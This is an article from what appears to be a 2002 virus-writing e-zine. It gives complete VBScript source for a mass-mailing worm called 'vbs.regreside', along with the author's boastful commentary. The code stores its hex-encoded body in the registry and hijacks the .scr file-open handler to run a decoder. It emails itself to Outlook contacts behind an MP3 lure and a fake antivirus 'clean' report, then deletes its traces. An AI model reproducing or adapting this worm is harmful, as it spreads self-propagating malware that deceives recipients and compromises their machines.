Infiltration of a Nation
| last article | table of contents | next article |
|---|
| last article | table of contents | next article |
|---|
vbs.regreside by alcopaul
=============================================================================================================================
VBS_REGRESIDE.A
=============================================================================================================================
I was reading a 29a #6 article by litesys (Multipartite PE/DOC viruses tute) and I stumbled on a routine...
Excerpt:
For o = 1 to Len(joda) Step 2
X = X + Chr("&h" + Mid(Joda, o, 2))
Next
Then i started to think of a good use of this simple routine....
And i succeeded.. :)
Presenting..
vbs.regreside...
Since I didn't encounter any viruses which store its "meat" in the registry, I'll declare this as first...
=====================================
on error resume next
Dim fso, a, b, X, o, g, e
Set fso = CreateObject("Scripting.FileSystemObject")
set a = fso.OpenTextFile(Wscript.ScriptFullname, 1)
b = a.ReadAll
set h = fso.CreateTextFile("c:\freemp3s.vbs", True) '::: spawn the attachment
h.Write b
h.Close
For o = 1 to Len(b) '::: convert the virus body to hex rep...
X = X & Hex(Asc(Mid(b, o, 1)))
Next
set g = CreateObject("Wscript.Shell")
g.regwrite "HKEY_LOCAL_MACHINE\Alcopaul", X '::: store the meat to registry :)
g.regwrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\", "wscript.exe c:\excel.vbs" '::: anotha hook... for the decoder
mail() ':::worming
decoder = "on error resume next" & vbcrlf & _ '::: spawn the decoder.\
"dim e, y, z, data" & vbcrlf & _
"e = fromreg(""HKEY_LOCAL_MACHINE\Alcopaul"")" & vbcrlf & _
"function fromreg(gg)" & vbcrlf & _
"Set regedit = CreateObject(""WScript.Shell"")" & vbcrlf & _
"fromreg = regedit.regread(gg)" & vbcrlf & _
"end function" & vbcrlf & _
"For y = 1 to Len(e) Step 2" & vbcrlf & _ ':::thankie to litesys
"z = z & Chr(""&h"" + Mid(e, y, 2))" & vbcrlf & _
"next" & vbcrlf & _ ':::end of thankie
"data = replace(z, Chr(""&hDA""), vbcrlf)" & vbcrlf & _ ':::converting hex rep to chr will produce some impurities..clean..
"Set fso = CreateObject(""Scripting.FileSystemObject"")" & vbcrlf & _
"set h = fso.CreateTextFile(""c:\registry.vbs"", True)" & vbcrlf & _
"h.Write data" & vbcrlf & _
"h.Close" & vbcrlf & _
"Set fsa = CreateObject(""Wscript.Shell"")" & vbcrlf & _
"fsa.Run(""c:\registry.vbs"")" & vbcrlf & _
"msgbox ""Checking registry values"", ,""Scanreg""" & vbcrlf & _ ':::msgbox so registry.vbs won't be promptly deleted
"fso.deletefile(""c:\registry.vbs"")"
set j = fso.CreateTextFile("c:\excel.vbs", True) ':::the decoder
j.write decoder
j.close
fso.deletefile(wscript.scriptfullname) ':::dump traces
sub mail() '::: mailing time
on error resume next
Set a = CreateObject("Outlook.Application")
Set b = a.GetNameSpace("MAPI")
If a = "Outlook" Then
b.Logon "profile", "password"
For y = 1 To b.AddressLists.Count
Set d = b.AddressLists(y)
x = 1
Set c = a.CreateItem(0)
For oo = 1 To d.AddressEntries.Count
e = d.AddressEntries(x)
c.Recipients.Add e
x = x + 1
If x > 101 Then oo = d.AddressEntries.Count
Next
c.Subject = "Free Access To Thousands Of MP3"
c.Body = "-------------- Trend Micro Online Scanner ----------------" & vbcrlf & _ ':::fake scanner report..
"The attached file doesn't contain any malicious routines" & vbcrlf & _
"-------------------------------------------------------------------" & vbcrlf & _
""
c.attachments.Add("c:\freemp3s.vbs")
c.Send
c.DeleteAfterSubmit = True
e = ""
Next
b.Logoff
End If
Set fso = CreateObject("Scripting.FileSystemObject")
fso.deletefile("c:\freemp3s.vbs") ':::dump traces 2
end sub
'by alcopaul '::: vb man in action
'vbs.rEgResIDe '::: christened by me
=====================================================
Proof of a concept? Nah... but creative....
alcopaul
03/28/2k2
[rrlf]